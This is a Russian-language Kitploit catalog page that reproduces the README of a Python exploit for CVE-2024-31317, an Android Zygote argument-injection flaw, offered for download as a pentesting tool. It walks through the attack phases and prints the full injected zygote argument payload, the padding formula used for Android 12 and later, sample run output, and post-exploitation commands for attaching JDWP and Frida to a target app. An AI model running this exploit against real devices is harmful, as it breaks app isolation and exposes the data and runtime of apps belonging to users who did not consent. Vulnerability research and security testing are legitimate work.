Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Debuggable-App-Exploit — CVE-2024-31317 Эксплойт отлаживаемого приложения | Kitploit
Инструменты/GitHubGitHub/cleov2/debuggable-app-exploit
Безопасность AndroidАнализ уязвимостейЭксплуатацияФаззингМобильная безопасностьОбучение и ОбразованиеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubcleov2/debuggable-app-exploit

Debuggable-App-Exploit

CVE-2024-31317 Эксплойт отлаживаемого приложения

Репозиторий
123107 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-31317 Эксплойт отлаживаемого приложения

Эксплойт на Python для CVE-2024-31317 (внедрение в Zygote Android), который делает любое установленное приложение Android отлаживаемым путем внедрения вредоносных аргументов zygote через настройку hidden_api_blacklist_exemptions. Включает опциональное внедрение гаджета Frida для перехвата во время выполнения.

Обзор

Этот эксплойт использует уязвимость внедрения команд в процессе Zygote Android для запуска целевых приложений с включенным флагом debuggable. Это позволяет отладку через JDWP и инспекцию любого приложения без необходимости root-доступа или отладочной версии приложения.

Основано на исследовании: Анализ CVE-2024-31317 от Flanker

Ключевая идея: "поле runtime-flags в ZygoteArguments может быть использовано для включения атрибута debuggable приложения."

Возможности

  • Режим автоопределения – автоматически определяет UID, набор инструкций и каталог данных целевого приложения
  • Внедрение флага debuggable – устанавливает runtime-flags=65535 для включения отладки
  • Перенаправление портов JDWP – автоматически настраивает перенаправление портов JDWP после эксплуатации
  • Внедрение гаджета Frida – опциональное внедрение Frida для перехвата во время выполнения через JDWP
  • Умные точки останова – использует надежные точки останова, которые срабатывают автоматически без взаимодействия с пользователем
  • Автоустановка отладочного приложения – устанавливает вспомогательное приложение, если оно отсутствует

Требования

  • Устройство Android, уязвимое к CVE-2024-31317 (патч безопасности до июня 2024 года)
  • Установленный ADB и включенная отладка по USB
  • Python 3.10+
  • Необходимые пакеты: ppadb, jdwplib

Установка

Поместите следующие файлы в одну директорию:

├── CVE-2024-31317-Debuggable.py    # Основной скрипт эксплойта
├── jdwplib.py                       # Клиентская библиотека JDWP
├── app-debug.apk                    # Отлаживаемое вспомогательное приложение
├── frida-gadget-android-*.so        # Гаджет Frida (опционально)
├── frida-gadget.config.so           # Конфигурация Frida (опционально)
└── win32/adb.exe                    # Бинарник ADB для Windows

Использование

Базовое использование

python CVE-2024-31317-Debuggable.py

Скрипт предложит выбрать режим определения параметров:

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Автоопределение параметров
[2] Жёстко заданные значения

Режим (1/2) [1]:

Что он делает

  1. Фаза 1: Извлечение startSeq

    • Запускает отлаживаемое вспомогательное приложение
    • Подключается через JDWP и извлекает значение startSeq из стековых фреймов
    • Закрывает вспомогательное приложение
  2. Фаза 2: Внедрение аргументов Zygote

    • Формирует вредоносные аргументы zygote с runtime-flags=65535 (отлаживаемое)
    • Внедряет полезную нагрузку в настройку hidden_api_blacklist_exemptions
    • Принудительно останавливает и перезапускает целевое приложение с внедрёнными аргументами
  3. Фаза 3: Постэксплуатация

    • Настраивает перенаправление портов JDWP
    • Опционально внедряет гаджет Frida для перехвата во время выполнения

Пример вывода

==================================================
  CVE-2024-31317 Exploit
==================================================

[1] Автоопределение параметров
[2] Жёстко заданные значения

Режим (1/2) [1]: 1

[INFO] Фаза 1: Извлечение startSeq
[INFO] com.debug.app уже установлено
[INFO] Установка debuggable
[INFO] Запуск com.debug.app/.MainActivity
[INFO] PID: 12345
[INFO] Порт JDWP: 8700
[INFO] Приостановка VM
[INFO] Сканирование 42 фреймов
[INFO] startSeq: 123456
[INFO] Фаза 2: Эксплойт com.debug.configurator
[INFO] Определение параметров для com.debug.configurator
[INFO] UID: 10242
[INFO] Архитектура: arm64
[INFO] Данные: /data/user/0/com.debug.configurator
[INFO] Android 13
[INFO] Полезная нагрузка: 8765 байт
[INFO] Перезапуск цели
[INFO] Готово
[INFO] PID цели: 23456
[INFO] JDWP: 8701

Внедрить Frida? (y/N):

Конфигурация

Целевое приложение

Отредактируйте константы в начале скрипта:

TARGET_APP = "com.debug.configurator"  # Измените на пакет вашей цели
DEBUG_APP = "com.debug.app"            # Вспомогательное отлаживаемое приложение
DEBUG_APK = "app-debug.apk"            # APK-файл вспомогательного приложения

Автоопределение vs Жёстко заданные значения

Режим автоопределения (рекомендуется):

  • Использует pm list packages -U для получения UID
  • Использует dumpsys package для получения набора инструкций и каталога данных
  • Более надёжен на разных устройствах

Режим жёстко заданных значений:

  • Использует значения по умолчанию (UID=10242, arm64 и т.д.)
  • Быстрее, но менее надёжен, если устройство отличается

Внедрение гаджета Frida

После успешной эксплуатации можно опционально внедрить гаджет Frida:

Внедрить Frida? (y/N): y

Скрипт выполнит:

  1. Отправит frida-gadget.so в /data/local/tmp/
  2. Скопирует в каталог данных приложения через run-as
  3. Установит точку останова и загрузит гаджет через JDWP
  4. Перенаправит порты 27042 и 27043

Цели точек останова

Скрипт пробует следующие точки останова в порядке надёжности:

КлассМетодТриггер
android.os.MessageQueuenextАвто – главный Looper опрашивает постоянно
android.os.BinderexecTransactАвто – любой IPC/Binder вызов
android.app.ActivityThreadhandleMessageАвто – главный обработчик приложения
android.os.HandlerdispatchMessageАвто – диспетчеризация сообщений
android.os.HandlerhandleMessageАвто – обработка сообщений
android.view.ChoreographerdoFrameАвто – колбэки кадров
android.view.ViewdispatchTouchEventВручную – требуется касание
android.view.ViewonDrawВручную – требуется перерисовка UI

Верхние точки останова должны срабатывать автоматически. Если они не срабатывают по таймауту, нажмите на приложение для активации запасных точек.

Подключение к Frida

После успешного внедрения:

# Подключение к гаджету
frida -H 127.0.0.1:27042 -n Gadget

# Список процессов
frida-ps -H 127.0.0.1:27042

После эксплуатации

После успешной эксплуатации целевое приложение запускается с включённой отладкой:

  1. Подключитесь с отладчиком JDWP:

    jdb -attach localhost:8701
    
  2. Используйте отладчик Android Studio – присоединитесь к процессу на перенаправленном порту

  3. Используйте Frida – если гаджет был внедрён через скрипт

Как это работает

Обзор уязвимости

CVE-2024-31317 – это уязвимость внедрения команд в процессе Zygote Android. Манипулируя системной настройкой hidden_api_blacklist_exemptions специально сформированными входными данными, можно внедрить произвольные аргументы zygote при запуске приложения.

Ключевые компоненты

  1. Извлечение startSeq: Каждый запуск приложения имеет уникальный порядковый номер. Мы извлекаем его из отлаживаемого приложения через JDWP, проверяя переменные стековых фреймов.

  2. Формирование полезной нагрузки: Мы формируем аргументы zygote, включая:

    --runtime-args
    --setuid=<целевой_uid>
    --setgid=<целевой_gid>
    --runtime-flags=65535      # Включает все флаги отладки
    --mount-external-default
    --target-sdk-version=35
    --setgroups=3003
    --nice-name=<пакет>
    --seinfo=default:targetSdkVersion=30:complete
    --instruction-set=<архитектура>
    --app-data-dir=<каталог_данных>
    --package-name=<пакет>
    --is-top-app
    --bind-mount-data-dirs
    android.app.ActivityThread
    seq=<startSeq+1>
    
  3. Внедрение: Полезная нагрузка внедряется в системную настройку с определённым отступом для Android 12+:

    payload = "\n" * 3000 + "A" * 5157 + zygote_args + "," + ",\n" * 1400
    
Скачать инструмент